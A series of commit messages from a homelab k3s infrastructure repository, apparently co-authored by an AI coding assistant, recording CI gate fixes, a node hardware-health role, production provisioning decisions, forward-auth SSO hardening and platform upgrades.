ci/spec-immutability.sh against HERMETIC throwaway spec repos and asserts its exit code
in every state — clean-at-pin 0, edits under docs/ or decisions/ 1, untracked addition 1,
unadopted drift 1, explicit pin bump 0, ABSENT spec repo 3 (honest skip, never green),
unpinned SPEC_PIN 1 — plus that gate.sh sets BLOCK=1 on its failure, so the mechanism is
load-bearing. The real spec repo is never written to.
Each check documents what it does NOT cover (runtime decryption, git history, runtime
least-privilege, branch protection) rather than overclaiming. status.py now reads
check.sh too, so a placeholder L0 body still outranks an `executable: true` annotation.
Coverage 37/51 -> 40/51 (11 gaps); executable tests 32 -> 35; scaffold-only stays 5 —
no sixth scaffold was added.
Serves: R-SEC-01, R-SEC-02, R-TEST-01..06.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Operator ask: implement the roles needed to check prod node hardware health, and run
them to find out our state. This is that role; the run's findings are below.
roles/node_health is a read-only sibling to cluster_verify (cluster health vs hardware
health), styled after node_baseline. One unprivileged collector script does the work in
a single SSH round trip — reading /sys/class/dmi, thermal + hwmon, EDAC, cpufreq +
thermal_throttle, /proc/pressure, /sys/block incl. SCSI ioerr/iotmo counters, lsblk,
lscpu, mounts + statvfs, per-NIC stats, resolv.conf.
THE DESIGN POINT: an unreadable field is emitted as null WITH A RECORDED REASON, never
as zero. The summary ends with a "NOT READ (and why) — these are UNKNOWNS, not passes"
section. A fake zero on a reallocated-sector count is exactly the kind of false green
this project refuses. 22 checks report PASS/WARN/FAIL/SKIP/INFO; every SKIP says why.
Report-only by default; thresholds live in defaults/main.yml.
Portable across bare metal AND VMs — validated against k3s-prod-1 (bare metal, no root)
and k3s-dev-1 (VM, root). VM-absent things (SMART on virtio, coretemp, EDAC) skip
cleanly, and iSCSI/Longhorn volumes are split out of the physical-disk set so a live
replica is never mistaken for a spare device.
playbooks/node-health.yml takes its target group as a variable (-e node_health_hosts=
k3s_prod), deliberately unlike the other playbooks that hardcode k3s_servers — see the
group-name gap already flagged in hosts.ini.
Two become facts found the hard way and documented in the role: a group_vars
`ansible_become: true` OUTRANKS `become: false` as a play/task keyword, so unprivileged
tasks must override the variable; and `failed_when: false` does NOT catch "Missing sudo
password" — only `ignore_errors` does.
FIRST RUN, k3s-prod-1, 2026-08-31: 0 FAIL · 3 WARN · 12 PASS · 3 SKIP · 4 INFO.
Box is healthy, cool and unstressed: i7-9700T 8C/8T, VT-x + /dev/kvm (KubeVirt OK), zero
throttle events, hottest sensor 33C, PSI 0.00 across the board, 31.1 GiB RAM, eno1 up at
1000 Mb/s, BIOS R21 02.26.00, no reboot pending.
DRIVE HEALTH IS STILL UNKNOWN — the headline. SMART did not run, blocked TWICE over: no
vaulted ansible_become_password for prod, AND smartmontools is not on the node at all
(node_baseline has never run there). Power-on hours, wear, reallocated/pending sectors
and drive temperature all remain unmeasured on a ~2011 consumer SSD.
WARNs: kernel ioerr_cnt=6 on sda (read cautiously — four freshly attached iSCSI disks on
dev each showed a flat 7, suggesting a fixed per-device discovery cost, not media
trouble; attribution needs dmesg/root); 0.95 GiB swap still active (node_baseline does
the swapoff); one IPv4 resolver only (the other two upstreams are IPv6 Google), which
refines rather than resolves the DNS-SPOF finding.
ESCALATION — ECC status is UNKNOWABLE on this hardware: /sys/devices/system/edac/mc
exists but no controller is bound. Non-ECC consumer RAM. Silent memory corruption on a
prod node would be undetectable. Recorded as a SKIP with reason, not a pass.
Serves: R-ENV-01, R-ENV-03, R-OBS-04. Task: T-7.1.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Operator directive: conformance and gates are enforced at the Gitea runner / CI-CD
level — use it. The authority on mergeability is the Actions run, not a local
`make -C ci gate`; local runs are a fast pre-check only.
Proven immediately on this branch. Same commit (a1fb31a):
local -> "no changed files vs base; empty touched-requirement set" -> MERGE GATE: PASS
CI -> 17 touched requirements -> REQUIRE: FAILED, uncovered
['R-SEC-01','R-SEC-02','R-TEST-06'] -> MERGE GATE: BLOCKED
The local run resolved an empty diff base, checked nothing, and reported green. A local
false green is this project's most dangerous failure mode — it hid real coverage debt.
Fix in progress so local agrees with CI or announces loudly that it cannot determine a
base; an honest noisy skip beats a quiet false pass (ci/README.md exit-code contract).
The gate was RIGHT: we authored a vaulted-secret flow (R-SEC-01) and status tooling
reasoning about spec immutability (R-TEST-06) while those requirements had NO covering
test. Tests are being authored; the rule is NOT being narrowed.
Also records how to read CI from a workstation — the API paths are non-obvious on this
Gitea version (actions/runs/<run>/jobs 404s; use actions/tasks + actions/jobs/<id>/logs,
noting the task-id -> job-id offset).
OPERATOR ATTESTATIONS: DR is proven (Velero -> Proxmox server, restore demonstrated) and
dev-cluster resilience is proven (slow only because Longhorn is on HDD; etcd is on its
dedicated SSD). Both recorded as fact. Kept distinct from automated proof: the status
report's R-STATE-03 finding is TEST debt, not capability debt — the system does the
thing, the suite does not yet assert it. The attestation does not close the requirement
and the gate must not be softened to make it appear closed.
Serves: R-TEST-03, R-TEST-05, R-TEST-06, R-STATE-03.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
PROD-PROVISIONING.md §4 now carries the full operator-decided address table (nodes
.10/.11/.12, control-plane VIP .9, ingress Gateway VIP .20, Cilium LB pool .20-.30) with
the two invariants that make it safe: the control-plane VIP sits outside the LB pool so
kube-vip and LB-IPAM cannot contend, and GATEWAY_VIP is the FIRST address of the pool
because the shared Gateway pins nothing and LB-IPAM hands it the first free address.
§5 no longer tells the operator to hand-install smartmontools — package installation is
the node_baseline role's job (operator ruling). §0 gains the node 2/3 addresses.
Task: T-7.1. Gate: MERGE GATE: PASS.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Operator ruling: "I care about the state of the repository and what the status of each
spec is based on that state" — not a hand-maintained task board. This is that report.
conformance/lib/status.py (stdlib-only, --selftest) sits beside lib/coverage.py and
IMPORTS it rather than forking the registry/test parsers. Driven by a new
`conformance/run.sh --status`; artifacts land in _artifacts/status/ alongside coverage
and are git-ignored by the existing convention. Exit codes follow ci/lib.sh (0/1/3);
--strict-coverage also applies the status hygiene gate.
Signals derived per requirement: is there an implementing artifact; is it RECONCILED
(walk resources: from clusters/dev, expand each Flux Kustomization's spec.path, recurse
— so a commented-out resource correctly does not count); is there a tagged test and is
its body executable or a TODO scaffold (TODO markers OUTRANK an executable: "true"
annotation — ambiguity never upgrades a row).
DELIBERATELY NOT DERIVED, and reported as such rather than defaulting to green:
proof-of-pass (nothing tracked in git records a run result — _artifacts/ and results/
are git-ignored) and cluster liveness. "Reconciled" means Flux WOULD apply it, not that
it is healthy. PROVEN is reported as "not derivable" for all 51.
WHAT IT SHOWS THAT coverage.md DOES NOT. Coverage reports 37/51 covered, 0
safety-critical gaps. Three of those claims do not survive repo state:
1. 5 of the 37 "covered" requirements have only a TODO-body scaffold (R-STATE-03,
R-OBS-02, R-OBS-04, R-GITOPS-03, R-GITOPS-02). Coverage counts a tagged file; it
never looks inside it.
2. R-STATE-03 is SAFETY-CRITICAL and its L3 fault test asserts nothing. Coverage reports
"0 safety-critical gaps" only because dr-restore/chainsaw-test.yaml exists and carries
an L3 label. --strict now fails on this.
3. R-UPD-01/02/03 are NOT reconciled: platform/image-automation/ is commented out of
platform/kustomization.yaml. Coverage shows them covered with executable L3 tests,
which reads as delivered; automated updates are actually 0/3 wired+testable.
Headline: 51 requirements | reconciled 20 (+12 partial) | executable test 32 |
wired+testable 22 (+8 partial) | scaffold-only 5 | PROVEN 0 (not derivable).
Also surfaces 18 requirements with no reconciled manifest citing their R-ID — listed as
a traceability gap (R-TEST-04) rather than guessed either way. Annotating those manifests
makes the report self-correct, so it acts as a forcing function instead of another
hand-maintained map.
Serves: R-TEST-01..06. Gate: MERGE GATE: PASS.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Prod inventory scaffolding for the three bare-metal nodes, and the become posture the
operator ruled for production.
BECOME: prod does NOT get dev's NOPASSWD sudo. Prod keeps a real sudo boundary and
supplies the password to Ansible as an ansible-vault-encrypted `ansible_become_password`
in inventory/group_vars/k3s_prod/vault.yml, mirroring the existing hypervisor and
proxmox_hosts groups. The decrypting passphrase stays outside the repo
(~/.config/home-k3s/ansible-vault-pass), so plays still run unattended with no plaintext
secret in git. Committed here: README.md + vault.yml.example only — the operator creates
the encrypted vault (`ansible-vault create`), as with every other vaulted group.
PACKAGES BELONG IN THE ROLE (operator ruling): smartmontools is now declared in
node_baseline_packages, not hand-installed on a node. Drive health tooling is a
permanent part of a bare-metal node's baseline — dev nodes are VMs and never needed it.
Same click-ops-never principle as the rest of the repo.
ADDRESSING: nodes .10/.11/.12, reached DIRECTLY on the LAN (no pfSense NAT hop, unlike
dev's 192.168.2.102:225x mapping), so ansible_host is the real node IP. kube-vip
control-plane VIP is 192.168.2.9 — deliberately BELOW the nodes and OUTSIDE the Cilium
LB pool (.20-.30) so kube-vip and LB-IPAM can never contend for an address. The ingress
Gateway VIP (.20) and the LB pool are Flux/cluster-vars concerns and deliberately do
not appear in Ansible.
BLOCKED-BY-DESIGN: node_baseline_longhorn_device / node_baseline_etcd_device are present
but set to an obviously invalid /dev/BLOCKED-... path pending the operator's disk-layout
decision (node 1 is a single SATA SSD; the role's /dev/vdb,/dev/vdc defaults are virtio
names that do not exist on bare metal). Leaving them unset would silently fall back to
those equally-nonexistent defaults — a confusing failure that looks like a wiring bug.
This fails just as hard and says exactly why.
KNOWN FOLLOW-UP: roles/k3s_server and every node-host playbook hardcode the literal
group names k3s_primary/k3s_secondary/k3s_servers, so the k3s_prod_* groups are not
selected by them as-is. Harmless now (nothing can accidentally run against prod) but the
"same roles, unchanged" reuse R-ENV-02 promises needs the target group parameterized
before §6 of PROD-PROVISIONING.md can execute. Documented in hosts.ini and both READMEs.
Serves: R-ENV-01, R-ENV-03, R-SEC-01. Task: T-7.1. Gate: MERGE GATE: PASS.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
R-ENV-02 promises dev and prod differ ONLY by scoped cluster-vars overrides. In fact
dev LAN addresses were hardcoded into base manifests, so clusters/prod would have come
up ANNOUNCING DEV ADDRESSES (192.168.1.x) on the prod LAN (192.168.2.x).
New cluster-vars knobs (base default = dev literal, per the file's existing convention):
K3S_API_HOST platform/cilium/helmrelease.yaml (+ the values.yaml mirror)
CILIUM_LB_POOL_START platform-config/cilium/l2-ip-pool.yaml
CILIUM_LB_POOL_STOP "
UNIFI_L4_VIP apps/vms/unifi/50-service-l4.yaml
CRAFTY_L4_VIP platform/crafty/service-l4.yaml
S3_BACKUP_ENDPOINT platform/keycloak/postgres-cluster.yaml, apps/wave-0/{nextcloud,
semaphore}-db.yaml, and platform/velero/helmrelease.yaml
Also fixes GATEWAY_VIP's base default, which was still the RETIRED libvirt address
10.73.0.240, and adds the GATEWAY_VIP patch that clusters/prod was missing entirely.
clusters/base/apps-vms.yaml gains postBuild.substituteFrom (it was the one consuming
Kustomization without it, so a ${TOKEN} there would have shipped as a literal string).
The envsubst contract is documented there: ${VAR} substitutes and escapes as $${VAR};
$VAR and $(cmd) are left alone; ${ARR[0]} hard-errors. The three UOS_URL expansions in
the unifi cloud-init are escaped accordingly.
PROD ADDRESS PLAN (operator, 2026-08-31):
nodes .10/.11/.12 · control-plane VIP .9 (Ansible-side) · GATEWAY_VIP .20
Cilium LB pool .20-.30
CONTAINMENT INVARIANT, now documented at the pool and in the prod overlay: GATEWAY_VIP
MUST equal CILIUM_LB_POOL_START. The shared Gateway pins no address, so Cilium LB-IPAM
gives it the first free address of a matching pool block. An initial prod proposal put
.20 outside a .21-.30 pool; the Gateway would have come up on .21 while split-horizon
coredns-custom kept answering *.home.keithjackson.dev with .20 — an address nothing
announces — blackholing in-cluster OIDC hairpin traffic while reporting healthy. The
pool was widened to .20-.30. The control-plane VIP (.9) stays outside the pool so
kube-vip and LB-IPAM can never contend.
Values prod still cannot know stay INVALID `TBD-PROD-*` placeholders on purpose: base
defaults are dev values, so an omitted patch means prod silently inherits a dev address
— far worse than a loud failed apply.
DEV IS BYTE-IDENTICAL. Verified by kustomize build over 13 paths before/after, then
flux envsubst with the dev cluster-vars values applied to both sides: zero drift. The
only deltas are the intended additive keys in the overlay ConfigMap itself. No
unresolved ${TOKEN} survives. render-golden green (10 goldens); yamllint clean.
Serves: R-ENV-02. Task: T-7.1 (prerequisite). Gate: MERGE GATE: PASS.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Two operator corrections:
1. PROD DOES NOT GET NOPASSWD SUDO. My initial checklist recommended mirroring dev's
passwordless sudo onto prod — rejected, correctly. Dev's NOPASSWD is a convenience
that must not propagate to production. Prod instead keeps a real sudo boundary and
drives Ansible `become` with an ansible-vault-encrypted `ansible_become_password` in
inventory/group_vars/k3s_prod/vault.yml, mirroring the EXISTING hypervisor and
proxmox_hosts groups. The decrypting passphrase stays outside the repo at
~/.config/home-k3s/ansible-vault-pass (ansible.cfg :: vault_password_file), so plays
still run unattended with no plaintext secret in git.
2. THE TASK BOARD IS NOT THE STATUS SURFACE — THE REPOSITORY IS. Operator ruling closes
the escalation raised in the previous commit. Requirement/spec status is to be DERIVED
from repo state (what is authored, reconciled, and covered by a green requirement-tagged
test), not from a hand-maintained board. The spec board is left as a historical seed;
no agent edits it and no SPEC_PIN churn is spent on it. ci/spec-immutability.sh keeps
its full strictness — no path exception was added, since weakening an R-TEST-06 gate
for a bookkeeping file would be a defect, not a fix. A repo-derived spec status report
becomes the artifact of record alongside the coverage report and this log.
Serves: R-ENV-03 (prod provisioning posture), R-SEC-01 (no plaintext secrets), R-TEST-06.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The operator added the first production node (k3s-prod-1, 192.168.2.10 — HP EliteDesk
800 G5 Mini, i7-9700T/31GiB, Debian 13, VT-x + /dev/kvm) and opened roadmap Phase 7 for
PREP WORK ONLY: no k3s install until the R-ENV-02 blockers close and the gate is green.
Records the Phase-7 entry-gate position honestly: the operator has declared hardware
ready, but "Phases 1-6 proven in dev/test" is NOT met (37/51 conformance; R-ENV-01/02/03
themselves uncovered). Proceeding is an explicit, accepted risk — not an oversight.
Adds infra/PROD-PROVISIONING.md (T-7.1, design-only): firmware/BIOS, disk layout, OS,
network, access, Ansible reuse, repo blockers, build sequence, Phase-7 exit criteria.
Key findings recorded in DECISIONS-LOG:
- R-ENV-02 is violated in the base — dev LAN addresses hardcoded into base manifests
(cilium k8sServiceHost, the Cilium LB pool, crafty/UniFi LB IPs, 3 S3 backup
endpoints). Prod is on 192.168.2.x, so prod would build WRONG today.
- clusters/prod never sets GATEWAY_VIP -> would inherit the base default 10.73.0.240,
an address on the RETIRED libvirt network.
- No NOPASSWD sudo on the prod node -> all Ansible fails at its first become.
- node_baseline device defaults are virtio (/dev/vdb,vdc) and absent on bare metal.
- ESCALATION: agents/task-board.md is structurally unmaintainable — AGENTS.md designates
it the one agent-editable surface, but ci/spec-immutability.sh fails the gate on ANY
spec-repo dirt with no path exception. Explains the all-todo board after six phases.
NOT worked around: exempting it would weaken an R-TEST-06 gate. Operator decision.
Operator decisions: Phase 7 open (prep only); wait for all 3 nodes before cluster-init;
check drive health before choosing the single-SSD disk layout.
Serves: R-ENV-01, R-ENV-02, R-ENV-03, R-PLAT-01/03. Task: T-7.1.
Gate: MERGE GATE: PASS.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Appends the definitive current-state/handoff entry to DECISIONS-LOG (SSO fixed via CVE-2025-30162
egress allow, 5 forward-auth UIs gated, 8 vCPU, Gitea Actions CI live, external-snapshotter vendored;
operational gotchas; prioritized Next Steps → Longhorn-SSD, L2/L3-CI, forward-auth long-term,
Phase-6 onboarding). Updates the reconnect guide (6→8 vCPU) and points new agents at the handoff.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
The kustomization pulled two REMOTE github bases (?ref=v8.2.0) that Flux's kustomize-controller
git-fetched on every reconcile; those fetches intermittently exceeded the 27s timeout ->
'kustomize build failed' BuildFailed events -> the whole platform tier stalled whenever GitHub was
slow. Vendored the exact v8.2.0 output to local crds.yaml + snapshot-controller.yaml (built with
kubectl kustomize; images transformer still re-pins the controller to v8.2.0), so the build is now
offline + deterministic. No change to what's deployed. platform/kubevirt has the same latent pattern.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
HAND-OFF 2 (L2/L3 conformance wiring) — DEFERRED with a concrete plan, per the
hand-off's escape hatch (too risky to wire live cluster access from CI autonomously;
do NOT hand CI a broad kubeconfig).
The intended seam (in-cluster Chainsaw Job under its own scoped SA; CI holds only a
narrow trigger credential) is mostly scaffolded but not safe to finish autonomously:
- ci/conformance.sh still runs run.sh locally rather than triggering the in-cluster Job.
- conformance/incluster/chainsaw-job.yaml has no repo-clone init-container and the stock
chainsaw image lacks bash/python3/kubectl/git that run.sh needs.
- No trigger SA/RBAC/credential exists, and the core blocker is a privilege-escalation
design question: any `create jobs` credential in the conformance namespace can create a
Job running as the privileged conformance-runner SA. This needs an admission constraint
(recommended: narrow trigger SA + a Kyverno policy pinning the admissible Job shape), or
a GitOps-native zero-credential trigger — an operator decision.
- conformance/incluster/ isn't wired into Flux; Gitea vars/secrets aren't provisioned.
docs/plans/l2-l3-conformance-ci-wiring.md captures current state, the security analysis,
the functional gaps, a file-by-file step sequence, validation/rollback, and the open
decisions. gate.yml's conformance placeholder now points to it (still if:false, honest).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
HAND-OFF 1 (make -C ci gate parity).
touched-requirements.sh gained a third scoping rule: after stripping the diff
marker, whole-line YAML/shell `#` comments are dropped BEFORE the R-ID grep. A
requirement cited only in a code-file comment is prose (a REFERENCE), not a
declaration -- the same logic rule 2 already applies to `*.md`. This unblocks the
self-referential trap where editing gate.yml's header (which cites R-TEST-06, a
known-uncovered ID enforced by the spec-immutability STAGE, not a Chainsaw test)
re-attributed R-TEST-06 so the coverage `--require` check false-blocked the merge.
Conservative: only whole-line comments are dropped; an R-ID on a real code/spec
line is still detected, and authoritative declarations never live in a bare comment.
gate.yml now invokes the aggregate `make -C ci gate` (ci/gate.sh) instead of the
individual stage scripts, so CI runs byte-for-byte the same gate a human runs in the
devcontainer (R-TEST-02) and applies the R-TEST-03 decision. A BLOCKED gate exits
non-zero and fails the job. The cluster-gated L2/L3 stage SKIPS honestly (no
CLUSTER_AVAILABLE). spec-immutability is retained as an explicit early UI step.
Adds ci/tests/touched-requirements.test.sh (+ `make -C ci test`) asserting rule 3:
comment-only R-IDs (added or removed) are not attributed while real-line R-IDs are.
ci/lib.sh REPO_ROOT is now env-overridable so tests can run the real script against a
throwaway git repo (default unchanged).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Roll the verified Option-B per-app oauth2-proxy sidecar out to the remaining
four forward-auth apps after the pihole canary was confirmed fail-closed
(unauthenticated -> 302 to Keycloak, pod 2/2, clean sidecar OIDC discovery).
Each app's Gateway route now terminates at its oauth2-proxy sidecar (:4180,
--allowed-group=media-users, --upstream=http://127.0.0.1:<uiport>); the
gateway-ingress CiliumNetworkPolicy allows the Gateway to reach ONLY :4180, so
the bare UI is never served un-authenticated (fail-closed; R-IDP-02/06). The
apps' own app/API ports stay in-Service for EAST-WEST callers (arr ->
qbittorrent:8080 / jackett:9117) via the existing reciprocal-ingress allows.
- keycloak: confidential jackett/qbittorrent/radarr/sonarr clients (realm-import
+ realm-clients mirror), provisioned live via kcadm (groups membership mapper).
- secrets: four SOPS/age <app>-oauth2-proxy-credentials, wired into apps/wave-0
and apps/wave-1 by the renderer's sidecar-creds wave rule.
- ci: remove the temporary canary deferral (all five goldens now reproduce).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Close the un-gated-UI security finding for forward-auth apps (R-IDP-02) by
rendering the Option-B per-app oauth2-proxy reverse-proxy sidecar that crafty
proves working. catalog/render.py now emits, for any forward-auth app with an
exposed UI: the oauth2-proxy sidecar (upstream http://127.0.0.1:<uiport>,
:4180, --allowed-group per auth.group), an authproxy :4180 Service port, an
HTTPRoute backendRef -> :4180, and a gateway-ingress CiliumNetworkPolicy that
allows the Gateway to reach ONLY :4180 (fail-closed: the bare UI is never
served un-authenticated). oidc/native/none apps render byte-identical.
This is the CANARY: only pihole's golden carries the sidecar and is verified
fail-closed in-cluster first. jackett/qbittorrent/radarr/sonarr are deferred to
the rollout commit (temporarily listed in ci/render-golden.sh) so their UIs
keep serving exactly as today until their clients+secrets land.
- keycloak: confidential pihole client (realm-import + realm-clients mirror),
provisioned live via kcadm (groups membership mapper, bare names).
- secret: SOPS/age pihole-oauth2-proxy-credentials (client-id/secret/cookie),
wired into apps/wave-0 via the renderer's new sidecar-creds wave rule.
- L1 render goldens regenerated for the sidecar (forward-auth fixtures).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Investigation + phased implementation plan to move the churn-heavy,
latency-sensitive Longhorn volumes (Prometheus, the CNPG Postgres DBs,
Loki, gitea) off the slow/failing HDD 'Storage' pool onto a tagged
SSD-backed Longhorn disk on local-zfs, ending the reboot rebuild storm.
Key finding: the recorded 'SSD does not fit Longhorn' blocker was based
on the 384 GiB provisioned figure; actual working set is ~79 GB
cluster-wide (~26 GB/node) since all bulk media is on NFS, not Longhorn.
Hot tier is ~51 GB actual / 114 GiB provisioned and fits the ~323 GiB
SSD AVAIL with headroom. Read-only investigation; no live storage
touched.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
The three KubeVirt VM conformance tests (vm-lifecycle, vm-default-deny,
vm-data-survival) carried comments asserting the ALPHA `ImageVolume` feature
gate is DISABLED "on this k3s v1.31 cluster" and that the apiserver therefore
prunes the container-disk `image` volume, breaking the containerDisk boot path.
The cluster was upgraded v1.31 -> v1.36.4. Revalidated the gate live:
- kubernetes_feature_enabled{name="ImageVolume"} = 1 (enabled by default;
stage="" — no longer ALPHA)
- a server-side `kubectl apply --dry-run=server` of a Pod with an `image`
volume RETAINS the volume + mount instead of pruning them.
So the old premise is stale: containerDisk roots would boot on 1.36.4. The
tests never asserted the gate state and never used containerDisk — they boot
from CDI DataVolume roots, which remains the correct choice because it is the
spec-required, rebuild-surviving disk model (docs/06, R-STATE-01); an ephemeral
containerDisk could never satisfy data-survival. Test logic is therefore
unchanged; only the explanatory comments are corrected (v1.31 -> v1.36.4, and
the "containerDisk is broken here" rationale marked stale with the live
evidence).
Merge gate: PASS (lint, l0, render-golden, l1 green).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Research + implementation plan (no live change) on whether Cilium 1.20.1's
native Gateway API ExternalAuth filter (GEP-1494) can replace the un-wired
forward-auth CEC template and Crafty's oauth2-proxy sidecar.
Verdict: DEFER. The filter exists in 1.20.1 code (shipped 1.20.0, PR #45739) but
is EXPERIMENTAL-channel Gateway API; the cluster runs the standard-channel CRDs
(verified: HTTPRoute filters[].type enum lacks ExternalAuth), so it is not even
installable today. Also: fail-open bug (#47178, fixed#47265) in a brand-new
security filter, no 1.20 docs, and the ext_authz hop would hit the same
enforce_policy_on_l7lb hairpin re-evaluation just fixed for Keycloak (68690e5).
Plan is phased/reversible (pihole canary first) and keeps the working sidecar.
Resolves the DECISIONS-LOG open item on ext_authz workaround relevance under 1.20.1.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Steady-state CPU PSI 15-23% + 15-min load 5.6-8.0 on 6 cores (run queue at/over core count) left no
headroom for bursty workloads. Proxmox host has 24 cores at ~4% load, so 3x8 = 24 vCPU is 1:1 with
zero oversubscription. In-place tofu update (cores change is pending until a per-node VM stop/start);
rolled one node at a time to keep etcd quorum. Comment also corrected 16->24 GiB (stale).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
The container-workload and egress-class L1 fixtures use auth.mode=forward-auth, so the renderer now
emits the keycloak backend egress allow for them too. Regenerate the committed goldens to match the
canonical render. MERGE GATE: PASS.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
App SSO broke cluster-wide after the Cilium 1.16.5->1.20.1 upgrade: the CVE-2025-30162 fix (in
>=1.16.8/1.17.2) makes the shared Gateway's L7 proxy re-evaluate a pod's egress policy against
Keycloak's REAL backend cluster identity (enforce_policy_on_l7lb) when it hairpins to keycloak.home.
'toEntities: world' matches the Gateway VIP at L3/L4 but not the resolved keycloak identity at L7, so
OIDC discovery/token 403'd ('Access denied') for every app with a NetworkPolicy (gitea/nextcloud/
semaphore/headlamp/crafty...); Grafana survived only because monitoring has no NetworkPolicy.
Fix: explicit toEndpoints egress allow to the keycloak backend for SSO apps.
- catalog/render.py: emit it for auth.mode in {oidc,forward-auth}; re-rendered 8 app goldens.
- platform/headlamp + platform/crafty: hand-written policies get the same allow.
Split-horizon design unchanged. Verified live: headlamp-ns -> keycloak discovery 403 -> 200.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
The browser-mfa conditional-user-role authenticator used config key 'condition.evaluated.user.role',
which is not a real Keycloak property — the role resolved to null, so Keycloak logged 'Invalid role
name submitted: null' and the REQUIRED conditional-OTP step threw, 403-ing every platform-admins login
(Headlamp, Grafana admin, etc.). Correct key for Keycloak 26 is condUserRole=platform-admin.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Adds NodeCPUPressureHigh (CPU PSI 'some' > 15% for 15m) and NodeCPULoadHigh (load5/core > 1 for 15m)
to platform-health.nodes, plus a 'Nodes — CPU / Memory Pressure' Grafana dashboard (PSI + load-per-core
+ utilization). These surface the bursty CPU contention that averaged CPU%/kubectl top hides — the
signal behind 'spikes cause blips of delay'. Makes the 6->8 vCPU resize measurable.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Both were pinned at ~98% of their limits (Prometheus 2002/2048Mi, Grafana 499/512Mi) with no
headroom for TSDB compaction / dashboard-render spikes — the classic OOM setups. Nodes are 24Gi at
38-44% used (~14Gi free each; the '~22 GiB ceiling' comment predates the 16->24Gi node bump), so the
extra headroom is comfortable. Grafana request 256->384Mi, Prometheus request unchanged.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
A node rebuild (tofu -replace / fresh OS) wipes host-level config Flux/Helm don't manage.
site.yml omits kube-vip.yml and vpn.egress.gateway.yml, so a re-provision missed the node-host
OpenVPN on k3s-dev-3 and dropped all egress-class=vpn pod traffic. Document the node-host layers
that must be re-run after any re-provision, and correct the stale author-only banner (these plays
are live).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
chart 7 major bump. Verified chart 7.3.0 renders identically for this SingleBinary/filesystem/
Longhorn config (one loki StatefulSet, no extra read/write/backend/cache pods, no schema errors).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Text-only cleanup after the upgrade campaign. Updates stale version
strings, prose, and comments to the verified current facts; no
Kubernetes behavior or version pins changed except the kubectl
toolchain bump (below).
Verified facts applied: k3s v1.36.4+k3s1, Debian 13 trixie,
Cilium 1.20.1 / Gateway API v1.6.1, Longhorn 1.12.1, node RAM 24 GiB,
dedicated virtio2 SSD etcd disk per node, Velero chart 12.x / v1.18,
Grafana 13.2.0.
- Version strings across infra/ and platform/ READMEs + comments
- kubectl toolchain 1.31.4 -> 1.36.4 (devcontainer/ci/conformance
versions.env; 1.31 vs a 1.36 cluster exceeded the +-1 skew)
- Retired-single-apps-Kustomization refs -> apps-wave-0/1/2 + apps-vms
with per-wave SOPS decryption (flux/clusters docs + bootstrap.sh)
- COMPLETED/historical banners on the three executed plan docs
- Resolved TODO(WS-SEC) markers -> Renovate-maintained ranges
- Appended dated DECISIONS-LOG entry (2026-08-30) superseding the
2026-08-26 LIVE STATE line
Left as revalidation items (not blind-edited): external-snapshotter
v8.2.0 vs 1.36, Cilium ext_authz/forward-auth relevance under 1.20.1,
conformance ImageVolume feature-gate assertions under 1.36.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Manifest env-var config (manager/cp_enable/svc_enable/vip_arp/leaderelection) is unchanged across
0.8->1.2, so the bump is image + re-applied auto-deploy manifest.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Grafana 12.x bundled in kps 88 OOMKilled (exit 137) at 256Mi during grafana-apiserver/unified-storage
startup — no fatal log, just SIGKILL. The new Grafana pod never became Ready, so Helm --wait ran the full
20m and rolled back to 65.8.1 every time. 512Mi holds.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
The 65->88 multi-major upgrade exceeded the default 5m Helm timeout (full operator/KSM/
node-exporter + Prometheus/Alertmanager StatefulSet rollout), so Flux rolled back to 65.8.1
four times and Stalled, blocking the platform kustomization and everything downstream.
CRDs pre-applied server-side at operator v0.93.1.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
All 3 k3s nodes re-provisioned to Debian 13 (kernel 6.12) via immutable tofu -replace,
one at a time, primary/leader last (secondary-join to avoid cluster-init split-brain).
- variables.tf image defaults -> debian-13-generic (generic, not genericcloud)
- k3s_server: ensure /etc/rancher/k3s exists (fresh-node re-provision fix)
- gitignore vendored ansible collections (installed for re-provision)
Co-Authored-By: Claude Opus 4.8 <[email protected]>
All 3 k3s nodes re-provisioned to Debian 13 (kernel 6.12) via immutable tofu -replace,
one at a time, leader/primary last. variables.tf image defaults -> trixie generic.
k3s_server role: ensure /etc/rancher/k3s exists (fresh-node re-provision fix).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Root cause of a W5 wedge: default 5m Helm timeout on slow-HDD Longhorn upgrades caused
a rollback attempt after the data had already migrated to the new minor, which the old
manager fatally refuses. Give the upgrade room and never auto-rollback (fail forward).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Gateway API CRDs bumped v1.2.1->v1.3.0 (required by Cilium 1.18; applied server-side).
Land on current k8s 1.32 before the 1.33 hop.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Land the two pacing components on current k8s 1.31 before the 1.32 k3s hop.
Cilium 1.17 supports k8s 1.29-1.32; Longhorn 1.8 supports 1.25+; Gateway API CRDs
stay v1.2.1 (Cilium 1.17 targets v1.2.x). Also commits the full upgrade plan doc.
